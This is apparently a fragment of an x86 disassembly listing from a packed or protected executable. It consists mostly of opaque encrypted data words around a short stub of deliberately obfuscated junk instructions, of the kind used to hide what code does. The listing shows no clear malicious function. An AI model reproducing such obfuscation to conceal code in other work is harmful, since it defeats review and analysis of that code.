		dd 0A9F1A207h, 66B89C8Ah, 73E9D38Bh, 0EDFFFFFFh, 1F745EF6h
		dd 14236FBAh, 607F6E4h,	0E94A5C35h, 30h, 3AFE79EDh, 0Bh	dup(0)
		dd 47BE9h, 70756800h, 86E90618h, 68FFFA10h, 61870F3h, 0FA107CE9h
		dd 71FF68FFh, 72E90618h, 9CFFFA10h, 0AF9F3DA9h,	0C3B351BBh
		dd 0DBCB69CBh, 0F1E17FE5h, 89F694FCh, 5FC7BC2Eh, 76DAD1C1h
		dd 8FEFE8D8h, 0A90701F1h, 3AAB0C0Bh, 76017612h,	0DC650619h
		dd 176436Bh, 92FC4A76h,	521A0F56h, 0A0F6F959h, 0C69C0508h
		dd 30D96DCDh, 28936776h, 88825AC4h, 0C26DD5CAh,	0E9FD2951h
		dd 4AE2306Fh, 2D1417ACh, 923DD533h, 0FBFAC021h,	0D07BC969h
		dd 9FA200FAh, 0FA9DC536h, 5EAC75FBh, 76D4CEC6h,	0D0B31D73h
		dd 0FBFA537Fh, 0D2B28B75h, 306DA7FEh, 288EEDEh,	0AD940000h
		dd 0CF525982h, 0CEC59B24h, 0A711676Ah, 0FB2E9734h, 3E388669h
		dd 9E8946EBh, 51451B98h, 0E38EE4E7h, 60554A72h,	9903516Bh
		dd 0E792111Ch, 72539976h, 979AE865h, 7B2313Ch, 608B1596h
		dd 3BE63467h, 6F0D6B65h, 3527857Fh, 7DD22B73h, 0A8EC9174h
		dd 84000002h, 97872591h, 0AB9B39A3h, 0C3B351B3h, 0D9C967CDh
		dd 71DE7CE4h, 47AFA416h, 5EC2B9A9h, 77D7D0C0h, 91EFE9D9h
		dd 2293F4F3h, 760177FAh, 5C9CEE01h, 0C22C8E86h,	0D8BF4645h
		dd 38738F17h, 0F478A011h, 39876FE9h, 5D85F6A1h,	6C6FE9F4h
		dd 6ADB861Eh, 69F2570Ch, 0B48A3583h, 23AC57BFh,	1898AB2h
		dd 0D9439176h, 0E766B5Bh, 7B9BBA0Bh, 7F79962Fh,	23F72F21h
		dd 81647F62h, 22ADCh, 0A30F0200h, 0B7211505h, 0CF312919h
		dd 0E54B4131h, 0FA625747h, 2290EF5Ch, 3727C52Dh, 4E3EDC40h
		dd 6757F555h, 72710F6Dh, 7778A011h, 74877601h, 0E0636A22h
		dd 6A66C435h, 5BA969F1h, 76DB0758h, 3A137601h, 0EE2F865Ah
		dd 6776DE35h, 1C000001h, 0CB7150Fh, 7EA1283h, 0A3F16FE9h
		dd 0A6A05639h, 1615AA48h, 8152CA8Fh, 0A651CF26h, 0E9190D35h
		dd 36CE1C6Fh, 305D1A8Bh, 1E6C69FBh, 109ECA1Bh, 0FDD675FBh
		dd 84299B1Dh, 8A90B3BBh, 38B72FC3h, 0BBB58AE4h,	0DF1D7451h
		dd 2A64DE2Fh, 0A000000h, 2C8E865Ch, 0BB4645C2h,	119E9F10h
		dd 1AF69FBh, 4AA0A30Dh,	325EAFB2h, 6A75FB1Eh, 86DDB191h
		dd 0CDDE2F91h, 8Ch, 0B7150F73h,	0A109FEB4h, 90EEE89Eh
		dd 0B5170FE5h, 0FF25CB2h, 63015F59h, 0E902DAD8h, 24827C6Fh
		dd 67FAF186h, 88F2E6BCh, 8222931Eh, 8969FDB2h, 0C5BA903Bh
		dd 0DACFBF5Dh, 0F19C8072h, 0C8AB7334h, 11E23h, 0AF1B0E00h
		dd 0C32D2111h, 0DB3D3525h, 0F1574D3Dh, 66E6353h, 2E9CFB68h
		dd 4333D139h, 5A4AE84Ch, 73630161h, 7E7D1B79h, 7884AC1Dh
		dd 788B7601h, 8F865C26h, 0F4E9C12Bh, 0D94BEE8Ch, 0B3CFC998h
		dd 0A27AE471h, 58AC4AA8h, 3A62D35Ch, 416FE907h,	2825FF3h
		dd 0B35A80B9h, 19777149h, 0A8666016h, 0F3494CB2h, 2528BD5Bh
		dd 2E81F39Eh, 666B5D54h, 0BA2BB620h, 69FC06E1h,	592FDA28h
		dd 0BB5EFC64h, 0FD99C132h, 52A075FBh, 0FD4975E8h, 655F75FBh
		dd 84796907h, 0A79B711Ch, 2B137C41h, 0BE56ED25h, 18FB65BBh
		dd 7673h, 636A2100h, 62C435E0h,	0AD69F16Ah, 0EADEB45Fh
		dd 7D331680h, 0E4872583h, 7535E72h, 73DDC0AAh, 4043A19Bh
		dd 2728EDEFh, 0E1C17859h, 1CBA1812h, 0D1D4322Ch, 0BCBF251Bh
		dd 0A7AA1006h, 1081FCF1h, 0AAE717E8h, 0E11A9F7h, 84F3D34Ch
		dd 726C42EBh, 0DF8AAA18h, 79F05F4h, 4D1CFC9Dh, 6757F553h
		dd 5BB5AF6Dh, 0C5F67839h, 0D5D87099h, 3FE4E77Fh, 3, 0F5995EDh
		dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh
		dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	6D0Ch
		mov	[esp], ebx
		push	esi
		push	edi
		push	2FB9452Bh
		pop	edi
		shr	edi, 4
		sub	edi, 0C8BE4EEAh
		mov	esi, edi
		pop	edi
		and	esi, 2EDB6B60h
		sub	esi, 59D051FCh
		dec	esi
		xor	esi, 0D65080EEh
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	eax
		mov	eax, edx
		mov	[ebx+8], eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54EA15
; ---------------------------------------------------------------------------
		dw 21Fh
		dd 0AA5AED17h, 54AA65D3h, 4EDAB044h, 187342B8h,	0FFC50306h
		dd 0CB5685E0h, 0DD2B8367h, 1BED0F47h, 0A16F6918h, 9643977Dh
		dd 7E55CB19h, 1378D4Bh,	73A16116h, 0E9269A25h, 909CE28h
		dd 0CFBE5D51h, 4524147Ah, 333BCE23h, 5D14F730h,	6C8D334Fh
		dd 7254A67Bh, 6580EB76h, 0E28D8D42h, 89061874h,	1218C995h
		dd 0A18D8906h, 6A061209h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0E0C6C357h,	3F1A81BEh
		dd 89490E74h, 121AA59Dh, 585C706h, 0CC061205h, 66000060h
		dd 0C75CEBB8h, 121BD985h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 2CED6945h
		dd 0B5FFD2B0h, 6120CD1h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0D6C35646h, 11B58B29h, 0FF06120Eh, 121B3195h
		dd 0FF006A06h, 1219CD95h, 0EBC08B06h, 6AFAD869h, 978AD21Bh
		dd 0EAA1C2F2h, 0CB20936Fh, 4FE862B4h, 255B1C1Ch, 0B55F899h
		dd 0AD11679Dh, 494ECF8Ch, 0CA84F5BCh, 1DAFEC00h, 99179E52h
		dd 0AF5BBE5Ah, 43502012h, 0DA88F490h, 1C5D46B6h, 0C40FA8CAh
		dd 6B8F7E3Fh, 1D6E8700h, 0ED7EAD9Bh, 12D329BBh,	6C90CBDCh
		dd 0AB23D44Dh, 0E89F1B7Dh, 85651462h, 0C70E4A98h, 14E807E5h
		dd 0B4000000h, 0FAACEE16h, 0C84952D6h, 78E59EB0h, 40A765Fh
		dd 8BCEB407h, 120C75B5h, 8B665B06h, 0B8C381F0h,	0E900005Ah
		dd 10h,	415DFD1Bh, 0A8660796h, 0F7D963FBh, 8A9F2DD4h, 167968h
		dd 0D9D0100h, 5F06122Bh, 291D858Bh, 33FF0612h, 6880Fh
		dd 0B58B0000h, 612013Dh, 0F3CE8159h, 817B0803h,	5E8AC8E9h
		dd 5AE98114h, 814D88CBh, 784047E9h, 5E94Bh, 61F00000h
		dd 51D40DA7h, 21998D89h, 38F0612h, 303EB83h, 120431B5h
		dd 0BE94B06h, 0CC000000h, 4FD66171h, 0F266C13Ah, 0F4FBF7Bh
		dd 1185h, 0D9D8900h, 0E9061201h, 27h, 1A391AD3h, 840FB1C7h
		dd 6, 7349DE81h, 83E94C21h, 0E2FFFFFFh,	3FB6E514h, 0C542E470h
		dd 1DCCA2D8h, 8DFBCA61h, 1877098Dh, 5E906h, 95220000h
		dd 8916A935h, 1209A18Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8BECE253h, 121C1985h
		dd 14E806h, 9FA60000h, 74C8ED8Dh, 0E7D5C551h, 0DD975B86h
		dd 0DC119474h, 0BE9CDF0h, 0D4000000h, 1515BDD2h, 45BE3C3Dh
		dd 0C75BAA9Ah, 12050585h, 6C3406h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 5270BDCFh
		dd 0A4E713h, 8B66A6C6h,	0D985C7DFh, 6121Bh, 89000000h
		dd 122ED18Dh, 0F1B5FF06h, 0F906122Bh, 1B3195FFh, 6A0612h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 51F72CC3h, 0F94CB0E6h, 95FF006Ah, 61219CDh, 5FEBC08Bh
		dd 578C159Ah, 0DB13866Fh, 6ED0EC93h, 0DAB6C610h, 75F5AF94h
		dd 57EC68F2h, 0D14D63CFh, 0ADDC9C0Eh, 793A17E9h, 49B27413h
		dd 0D4827CE8h, 8572E90Eh, 0DAF9CAFh, 4F03844Ch,	271EF01h
		dd 0D749429h, 0B98AB433h, 84FDE05Bh, 9914A692h,	5873A2A9h
		dd 0FA8EC9E1h, 2FFBA440h, 0AE71E3C5h, 5388687Eh, 5DB1605Ch
		dd 0EBB132AEh, 58D13254h, 0A3D0E4E1h, 0D5B37779h, 0EC333D36h
		dd 7AB13256h, 0BAB132D7h, 9B5BB356h, 0CFA2140Eh, 0DCD13256h
		dd 0A9313D86h, 85B13256h, 0E658530Ch, 0F7B13256h, 0C923799Bh
		dd 7397389Eh, 0AE5C7920h, 52595256h, 8FB13256h,	56655F6Eh
		dd 7B6FB330h, 9A30686Bh, 0E48646D0h, 0B4B13237h, 0AEB13253h
		dd 0BFDAE5CCh, 0CBB132E8h, 12E7B9E8h, 0E9353D27h, 13B13256h
		dd 2DD0FCDDh, 5CB16BA3h, 52B13256h, 57B0B859h, 0AB4D3256h
		dd 0DB363D56h, 3B13256h, 75B1325Fh, 6E4F16A8h, 0F162F1CCh
		dd 0F507A47Fh, 57B13556h, 14BE5256h, 0B4EA638Eh, 6DBE3256h
		dd 75B13240h, 0BAB123BFh, 42EFD156h, 979F61B2h,	0B5493200h
		dd 79EF1E05h, 6AD10699h, 0FAC81779h, 75D0F3DDh,	0BABDDB56h
		dd 5E843256h, 35CAAC58h, 4402F685h, 0ABB17140h,	260A5436h
		dd 0EAB15397h, 7AB132AAh, 0BAB128DBh, 49313D56h, 47B13256h
		dd 57B13259h, 0F5D9F67Ch, 5DBB90E0h, 0FF363FD6h, 7A5CC121h
		dd 0BAB133DCh, 5DB1CE56h, 0AEB1C7AAh, 57BFDB36h, 8953256h
		dd 8C4676FFh, 9E5F9C37h, 21A798B9h, 0F857B330h,	5DB153ADh
		dd 0A30B5436h, 36D1619Fh, 0ABB15309h, 0D5BDDB36h, 0FB1A3256h
		dd 0F25958FFh, 663C6E10h, 3C44237Ah, 0AEBBB659h, 0D6D13256h
		dd 0FE235094h, 0B47EB920h, 0E5D13256h, 75B131D0h, 710E3D56h
		dd 52B13237h, 0AEB13ED3h, 57B6DB56h, 632C3256h,	0E655CDD2h
		dd 1FB132ABh, 0F6BE3256h, 0BAB1325Eh, 260E5436h, 0CFE96407h
		dd 0DDBE3256h, 0ABB13257h, 29B132AAh, 0EA483256h, 75B1CE56h
		dd 0B5B132AAh, 5DB13AD2h, 0AC353D56h, 37B13256h, 42B13237h
		dd 0D5B1325Ch, 0DF5EF725h, 0A9BB8CADh, 0BAB10E15h, 0F876B336h
		dd 0CF953AB4h, 57B13254h, 82B13256h, 44D9E4Eh, 4D6B4979h
		dd 0DF66E12Ah, 3963F838h, 5DB1B524h, 0A6B6E5AAh, 48B13756h
		dd 0A3B13056h, 0BFB12556h, 0B0E4C355h, 0D1A39914h, 0B50F26DBh
		dd 5DB133D3h, 57D0C756h, 43583256h, 92B13256h, 0C2C19A33h
		dd 0A63D0E1Dh, 0ACE80DC3h, 355AA48Bh, 52DFC648h, 0AEB12AD9h
		dd 36D15256h, 0ABB13DBFh, 632C1A56h, 0C4EE1231h, 0B7AC2D9Bh
		dd 2219AF04h, 52B13237h, 0AEB13FDCh, 0D20A5256h, 2A86F2C1h
		dd 0FB39F3B5h, 0EAB1534Eh, 75B9BA59h, 37BE3256h, 5DB13254h
		dd 0AEB15336h, 0AEB132AAh, 0ABB13EBFh, 26A8D256h, 0E9D34319h
		dd 0F9A93BDBh, 53B1321Eh, 5DB13251h, 0C4ED673Dh, 5758EB5Bh
		dd 2AB37B56h, 0B409D0B4h, 60BE3256h, 75B13246h,	0BAB139BFh
		dd 6C793256h, 0D4D6926Bh, 7EA20E56h, 0A9F83256h, 0D5A0DB56h
		dd 782C3256h, 0F3344133h, 5B33315Fh, 4BD68E45h,	85F1A1D9h
		dd 47586096h, 13B13256h, 0B146C4C7h, 3A22B09Bh,	895EFC9Fh
		dd 0B5BAE8D3h, 5DBDDB67h, 93253256h, 6EB1B164h,	5E9DED28h
		dd 8DEBC9DCh, 0EABDDB06h, 0D8753256h, 138141B4h, 38EDFD78h
		dd 0CE27D96Ch, 0E07B8559h, 9ABE5390h, 0D5B13ABFh, 0A4F86256h
		dd 2FB44E39h, 29E968DDh, 3DE16A0Ch, 25D0F5DDh, 7B51612h
		dd 0CBE36204h, 85803D37h, 0B0803D04h, 7AE9680Eh, 0B3585267h
		dd 20B13256h, 0D7F1F124h, 62DD2DE8h, 99008B30h,	5EE96837h
		dd 3E36256h, 75B13253h,	26BE5CBFh, 0D803DF3h, 0A1D05204h
		dd 58E36267h, 0F1E96867h, 5CE9680Eh, 8AB51612h,	0CED737E6h
		dd 0E2D086A0h, 487DCD48h, 0CF2C297Ch, 5E132DDh,	553A5436h
		dd 0D5A0DBCAh, 30343256h, 0D3B0DA5Dh, 888CA6B1h, 238832D5h
		dd 2F441E89h, 34842AB0h, 0ABB7DB19h, 2E73256h, 99539F92h
		dd 44BE53CBh, 0B058AE36h, 67B13256h, 0A8507ABDh, 0C5ACC691h
		dd 65305435h, 0C158F388h, 66B13256h, 0D6AD883h,	9E068407h
		dd 0CDE270DBh, 121EBCDFh, 0CA7AA813h, 67168A30h, 5CE96837h
		dd 8AB51612h, 75B13CBEh, 562E0C56h, 850A78E3h, 2A262467h
		dd 3182903Bh, 42E8CBDDh, 0D5B13246h, 6D77935Eh,	56E3EFE2h
		dd 0C52FEB76h, 0C61BA71Ah, 47B16A37h, 57B13246h, 7C272378h
		dd 0C36A5A41h, 8C3868Dh, 0E101AC83h, 0DCD13256h, 7FAEEDD7h
		dd 0CF6E8D59h, 0AE4D3256h, 0A6583256h
		dd 0F5B13256h, 0EFAC3A50h, 0CBDDB989h, 8D6D8CA3h, 53583256h
		dd 0B2B13256h, 6984AA70h, 0BBA59D9Bh, 0B4BE599Ah, 3B13252h
		dd 75B13251h, 0E55EBD74h, 5D3FF131h, 0AEB1CB56h, 37B132AEh
		dd 0AB3D3D04h, 8FB13256h, 8AE98D30h, 15B13237h,	20DDFBD7h
		dd 0E0B278Ah, 0CF8B60FBh, 57483256h, 0ABB1CA56h, 0D5BBBF59h
		dd 8AD13256h, 3A78B337h, 0DBA1446Fh, 3BD13256h,	15F8F8EFh
		dd 1673418Dh, 0ABBFDB37h, 0D51E3256h, 0B08024Dh, 7094BD0Eh
		dd 4EBAB441h, 0E5D13256h, 0C3E26518h, 57A5DA36h, 0C6813256h
		dd 52FFD7CAh, 0EC3D1C8Ah, 4B68DAEAh, 1D49D95Fh,	0B4EB47BCh
		dd 0AEB1325Ch, 2C5481C0h, 4F6FBA8Eh, 0B4D0DEB6h, 6FBE3256h
		dd 75B13257h, 46B132AEh, 3DD13256h, 5B315336h, 57D0530Bh
		dd 0A5353D56h, 3CB13256h, 0EAB1325Fh, 4F79B126h, 199B41E2h
		dd 3DB13201h, 57628559h, 0AFB13237h, 23BE3256h,	0D5B1324Ch
		dd 0EAA5B359h, 7A583256h, 1B13256h, 1B7AA81Ah, 5495080Eh
		dd 0D44E4B48h, 0ABB19A9Fh, 0D5B123BFh, 0EFEF1B56h, 0B8D4FC4h
		dd 5EAA36B8h, 67CC6A19h, 0AEB16741h, 57B126BFh,	6CF94D56h
		dd 3109E199h, 0F84F085Ch, 6AB46F4Fh, 25B12193h,	0B4B132F1h
		dd 0AEB13259h, 0E0CCDD4Bh, 0C1BB86E5h, 195F449Dh, 0E5B882BFh
		dd 75B12BD2h, 0BAA5DB56h, 0AA9B3256h, 0B90125B9h, 0C3D596DDh
		dd 3E715D17h, 23CA399Dh, 0EAB177BAh, 75BADA36h,	9B0C3256h
		dd 0F2DFFB57h, 3FE33C39h, 573F3D4Ah, 0F2B13256h, 7D2D8830h
		dd 1FB13237h, 754D3256h, 6F3B5256h, 0B4B13237h,	0AEB13246h
		dd 0A7D634CFh, 0FFBB14B8h, 5717632h, 74D328C4h,	0FDBE3256h
		dd 0BAB1325Ah, 5DB7B759h, 28BE3256h, 57B13256h,	0AB493256h
		dd 6BD75256h, 890829EEh, 1497C3E4h, 0B5583256h,	9BB13256h
		dd 949BCAAEh, 6DD70B48h, 57EC54F4h, 0D5B105C6h,	0EAB7B059h
		dd 15D13256h, 0DBE86137h, 0EBD13256h, 0CF66B92Dh, 9C085436h
		dd 0ABB153B8h, 17305436h, 0E4591B69h, 0F4B13256h, 0E8A3D325h
		dd 0A225581Bh, 0D2917C22h, 36EECACCh, 0AB493256h, 0D5B7DB56h
		dd 0C14E3256h, 8E5A30BDh, 3FBE3256h, 5DB1325Ah,	0AEB7BA59h
		dd 0D2BE3256h, 0ABB13256h, 0D9583256h, 0E8B13256h, 893AFDD9h
		dd 0EDE39E50h, 5D712F73h, 0AEBBDB56h, 47253256h, 45296B1Ah
		dd 0BD458268h, 69BE3256h, 75B13257h, 53B132AFh,	5DB13242h
		dd 0CFBD83E0h, 703577Dh, 6C09CE13h, 9B2C0229h, 2AE816B9h
		dd 754D3256h, 0BAB1CB56h, 5DB13ABFh, 412ECA56h,	4CA9FC39h
		dd 5EB132FEh, 0DA4D3256h, 0EAB133D7h, 75B1CB56h, 53B132AAh
		dd 5DB13253h, 7D96CC1Fh, 4C3D3D06h, 0A4B13256h,	0D5B127D1h
		dd 0EAA1DB56h, 0F4BE3256h, 1A14BAFh, 0BB04FC74h, 0EBD89F0Ah
		dd 57B1C0DDh, 0ABB123BFh, 96614556h, 83E53746h,	0FB2ADAE8h
		dd 3E4F6662h, 5DB10733h, 0AEB2BB59h, 0ABD13256h, 0CBB13237h
		dd 0DA6F8559h, 0EAB134DFh, 9A43B356h, 0DBA9C072h, 0DFBE3256h
		dd 0AEB1324Fh, 0B8898B36h, 0A6582158h, 42B13256h, 0D3DE4206h
		dd 0F1966BB3h, 7C737BAAh, 0B4B13237h, 0AEB13253h, 8145F4B8h
		dd 53B13232h, 0DAD13256h, 0EAB133D1h, 75D0CA56h, 0B6303D56h
		dd 0B4B13256h, 0AEB13251h, 310F0D52h, 0AB938F37h, 0C7595256h
		dd 1DB13256h, 0E4AB893Eh, 0F2019042h, 0ACD39D8h, 434B9F89h
		dd 57323D29h, 0F0B13256h, 0B47B8D59h, 0E5D13256h, 75B131DBh
		dd 6A0E3D56h, 5DB6DB36h, 0F1593256h, 5C7D8230h,	0CAEB623Ch
		dd 29B13237h, 0F9583256h, 10B13256h, 0C32FEE81h, 0B0CBC029h
		dd 0D3A0A5A9h, 141F6E2Fh, 0ABB1DB80h, 3F69B336h, 0B8F18A28h
		dd 75B126BEh, 1671A256h, 0BF57D1D2h, 44E964D7h,	8F708616h
		dd 50C37D48h, 0B4E96BBBh, 0E3583256h, 82B13256h, 8BB8069Fh
		dd 0C3CA81DAh, 0A1D13256h, 57B134DAh, 0AB3F3D56h, 3CB13256h
		dd 0EAB1325Bh, 0ED64BEA5h, 89D460ECh, 0CCBABBFAh, 0AEB1536Dh
		dd 0D04E8836h, 0CA4937D5h, 0D5483256h, 8CE05256h, 15EEF9DDh
		dd 0BAB13EBFh, 6A330356h, 0C2D4F7F7h, 0A377DC86h, 0F45FB280h
		dd 0D5B15337h, 8C2A8336h, 8174FBD7h, 53B13237h,	5DB13259h
		dd 0F89E8483h, 95810C38h, 7380CFB1h, 0D55D7A38h, 0FA383D56h
		dd 15B13256h, 0BAB135BFh, 565B1756h, 19B5086Eh,	0BED05336h
		dd 0ABB1325Ch, 91C8E7B9h, 0C4226F11h, 75B15D2Fh, 0DAB132AFh
		dd 5EF6200h, 0CF7B8559h, 0BFD13256h, 0ABB13251h, 0C0849B64h
		dd 610CC88Bh, 0F1BE6D80h, 0BAB13257h, 5DB153AFh, 0AEB13EBFh
		dd 8BFE056h, 0E4FDCC1Ah, 0ED9EAA06h, 3B13218h, 75B13246h
		dd 15A1FF0Fh, 60AA99E7h, 0E659F7C4h, 0D486280h,	0AB443256h
		dd 0D5BADB56h, 0EB623256h, 0B6466CDDh, 79C7A4C8h, 575952D9h
		dd 0F5B13256h, 0FFE45DEAh, 415D5FD6h, 0F371B2DAh, 8BD8810Ch
		dd 9CD13256h, 0BAB13258h, 0A699AA95h, 92783DB5h, 5DB263DCh
		dd 0ABD08139h, 0D5A1DB56h, 4BAB3256h, 86D42044h, 0BCA9818Dh
		dd 0DD659EE6h, 46D1D48Fh, 57B1325Ah, 21E9446Bh,	0B3BFC933h
		dd 0E9B3A167h, 75D06AAFh, 0B54D5256h, 5DB134D5h, 0AE3B3D56h
		dd 36B13256h, 57B132A3h, 5FBE3256h, 0EAB1325Fh,	0CB48B836h
		dd 0A15C27A2h, 0D3BE5237h, 0AEB13256h, 6267B330h, 0ABB153E0h
		dd 0DAB132AFh, 0EAB135D8h, 743A3D56h, 4FB13256h, 0B5D13256h
		dd 0AEB13258h, 0D5F88E4Bh, 4A796209h, 0EA00E90Fh, 1A0EC193h
		dd 2E872BE6h, 0A89FE5D7h, 52D01E58h, 0AEB13AD8h, 95305256h
		dd 0EFDAAA20h, 0B5B13237h, 8B7FB930h, 75443256h, 0BAA2DB56h
		dd 1B3C3256h, 0F4D5306Ch, 1296E2CDh, 0D3DC662Fh, 6012E2C1h
		dd 0ED373D4Fh, 7AB13256h, 0BAB133DDh, 5DB1C756h, 57B132AFh
		dd 43583256h, 0B7B13256h, 36061F8Ah, 40C968BDh,	61ADBDFh
		dd 0E7F1BBA5h, 5D8F8D70h, 7F3A5256h, 367FB930h,	0ABB123BFh
		dd 0F7789F56h, 20936D52h, 440210A8h, 247EEE60h,	5DB1661Ch
		dd 0AC333D36h, 7B13256h, 630F540Ch, 6AD1535Fh, 0E80B9818h
		dd 71BB8D30h, 0DAB13237h, 5DD0C0DDh, 0B63C3D56h, 37B13256h
		dd 0ABB13FBEh, 2EF29B56h, 62993DEAh, 16E92758h,	3AEA7F72h
		dd 0A4D02D91h, 0AE483256h, 57A2DB56h, 5E733256h, 231636FCh
		dd 0C2CAA726h, 0D1F4FA32h, 0D58DAE38h, 52B13283h, 0AEB137D9h
		dd 0DCD75256h, 0CDD15391h, 4F18FAD7h, 0A6085406h, 75D06801h
		dd 0BABCDB56h, 85DF3256h, 3BEA9E53h, 0E473F6E2h, 0ABB43807h
		dd 0D5B4DB56h, 0F2953256h, 89EA92F7h, 53D13256h, 5DB13253h
		dd 0B895A45Ah, 8C305248h, 0D5E94E27h, 77BB330h,	0EAD05382h
		dd 75B1CB56h, 0BAB0BA59h, 5D483256h, 0A53C3D56h, 0BEB13256h
		dd 0ABB13250h, 0A16E1A1Ah, 0EAB19E38h, 86305436h, 0DB4DCDB2h
		dd 5DB139BFh, 0CB8D4056h, 0B725572Bh, 8F4810EAh, 0D5483256h
		dd 0EAB8DB56h, 99273256h, 9C0EECB3h, 5D390FDFh,	0BD58CB56h
		dd 0D9B13256h, 0DB3FAD07h, 0E1C50F4Bh, 5A1B0BDCh, 1221BE96h
		dd 0BAB16CFCh, 0A5B132AEh, 0C8D13256h, 0EDD7F3DDh, 0ABD06373h
		dd 0D5A3DB56h, 6E793256h, 8882D6A9h, 0B4A72633h, 7D8B7E8Dh
		dd 1B4B97FEh, 0D9BE3256h, 0ABB1324Eh, 3D77B936h, 0EAB13258h
		dd 32833A33h, 1D6DFCBDh, 0A66C2E48h, 0CFEF3A10h, 0BEB132AFh
		dd 0ABB1325Dh, 4AE0BC38h, 0D7AC42D8h, 753B0622h, 0BAB4DB56h
		dd 15453256h, 0AE4AEEF4h, 57A2DB56h, 46C13256h,	89CE71DBh
		dd 0EC5556A2h, 0B863F692h, 1A56FD4Dh, 3DB132B7h, 0A1738D59h
		dd 57B133D3h, 0ABD0CE56h
		dd 0D9373D56h, 0E5B13256h, 75B134D6h, 0BA3B3D56h, 5DB13256h
		dd 0AEB1CB56h, 57B139BFh, 0D6B4B956h, 7A713B93h, 10BB9637h
		dd 0F4D13256h, 0BD35A9B0h, 8A305435h, 0AED0C55Eh, 0BED1C756h
		dd 0ABB13258h, 5D22C578h, 8CD4A5E5h, 427771C8h,	31D75353h
		dd 5DB153A1h, 5F3A5436h, 3676F5D6h, 0AD583256h,	28B13256h
		dd 979294ADh, 15B13295h, 0B5E86536h, 5DB132DEh,	79315356h
		dd 0AED153ADh, 0ABD0FADDh, 0D93D3D56h, 0E5B13256h, 75B134D4h
		dd 0BA3D3D56h, 5DB13256h, 0B23F3D56h, 37B13256h, 4367B930h
		dd 0D5B13247h, 0F148F15Eh, 0A90A180Dh, 6C5246D4h, 0DE2B261Fh
		dd 0AED06C2Ch, 57BCDB56h, 73273256h, 74DC2D8Bh,	5FFCCD35h
		dd 75BA7AF5h, 0BB373D56h, 0A1B13256h, 2FD13256h, 34DB74BDh
		dd 0ABB15325h, 6E60B336h, 3876C00h, 75B13259h, 1FDA2046h
		dd 70BE554Dh, 0F38CCE6Eh, 3625DF57h, 0A2583256h, 0ACB13256h
		dd 7AF0FD73h, 7DA33594h, 0AB583256h, 0F3B13256h, 507C3595h
		dd 21FD6595h, 686DB8BFh, 0EFECF3Bh, 68BE3256h, 75B1324Eh
		dd 0BAA3BA59h, 50583256h, 0C9B13256h, 0A3CB7124h, 0B54EAC7Ch
		dd 80404432h, 0EAB135BFh, 0E77B1C56h, 3B5C6EAh,	0DEBE3256h
		dd 0AEB13241h, 57B120BFh, 0C91F1F56h, 6D06CE7Ch, 6E2058AEh
		dd 7FA74AE0h, 0BA0137F2h, 5DB7DB56h, 0C5643256h, 0C8637C20h
		dd 52493256h, 6CD13256h, 0BD138E3Bh, 658FF2E9h,	0BAB15368h
		dd 3DB132AFh, 0AEBEDB36h, 26B93256h, 0AA680793h, 9E99FA07h
		dd 1D9029B9h, 0FDBE53FAh, 0BAB13254h, 5DD06A07h, 0AEBCDB56h
		dd 0D6823256h, 97F6CF63h, 4F07B43Eh, 8AB6C62Bh,	75B134BFh
		dd 9305DA56h, 3C4EF170h, 25D13256h, 0A5305289h,	0D3C606C8h
		dd 0B4608D59h, 0E5B13237h, 75B138DBh, 5BE5256h,	0AC3054A4h
		dd 0AED0ACE0h, 57B1CB56h, 0ABBAB159h, 0D3583256h, 66B13256h
		dd 31275E15h, 53B132CCh, 5DB13245h, 0DAF31F9Fh,	0AD823975h
		dd 7470965h, 58AB8DB4h,	0EA7047ECh, 0BA3A5256h,	0BAB153AFh
		dd 5DBDBF59h, 0A9583256h, 0FAB13256h, 0A75238C9h, 0D5B1A0CDh
		dd 13B132AFh, 73583256h, 0A0B13256h, 9CC84A09h,	0AEB9DBFDh
		dd 0B6FE3256h, 1D29A340h, 0D5B1AE62h, 0EAA7BC59h, 64583256h
		dd 29B13256h, 3918B149h, 0D3680B2Dh, 8EC81227h,	184A6A6Bh
		dd 0DAD13256h, 0EAB137D8h, 0A2318C56h, 31D72D32h, 5DB15399h
		dd 0AEA5BD59h, 58583256h, 0E3B13256h, 7B02E36Eh, 901F075Eh
		dd 1DA0BAE7h, 0BAB18E53h, 0B4B132A3h, 0AEB13244h, 4DFBAE8Ah
		dd 0E58F767Ch, 65F4FE5Ch, 25612103h, 75B17C14h,	0BAB123BFh
		dd 9929ED56h, 45CD2D30h, 0EA1FFCFBh, 6C367D0Fh,	0D5B19102h
		dd 0EAA2DA36h, 8C093256h, 4CF1AEE4h, 5057365Dh,	10D07BCBh
		dd 15E10BC6h, 0AB363D2Fh, 8FB13256h, 0EAB134BFh, 71432B56h
		dd 0DB0F4679h, 0D5BE3256h, 0AEB13250h, 0E7D05236h, 0ABB153C8h
		dd 0D5A1DB36h, 7C3256h,	9628CC35h, 0CED759B3h, 371C3DB1h
		dd 0F0E0B922h, 37B13237h, 0ABB2B359h, 6ABE3256h, 0E83E3D9Dh
		dd 0FEB13256h, 34BE53A5h, 5DB1325Eh, 0AEB3BA59h, 36D13256h
		dd 0AC583256h, 0CFB13256h, 5AEC60D4h, 75B1958Bh, 6D305436h
		dd 7D090DAFh, 0CF9DDAC1h, 57B9B059h, 2DBE3256h,	0D5B13254h
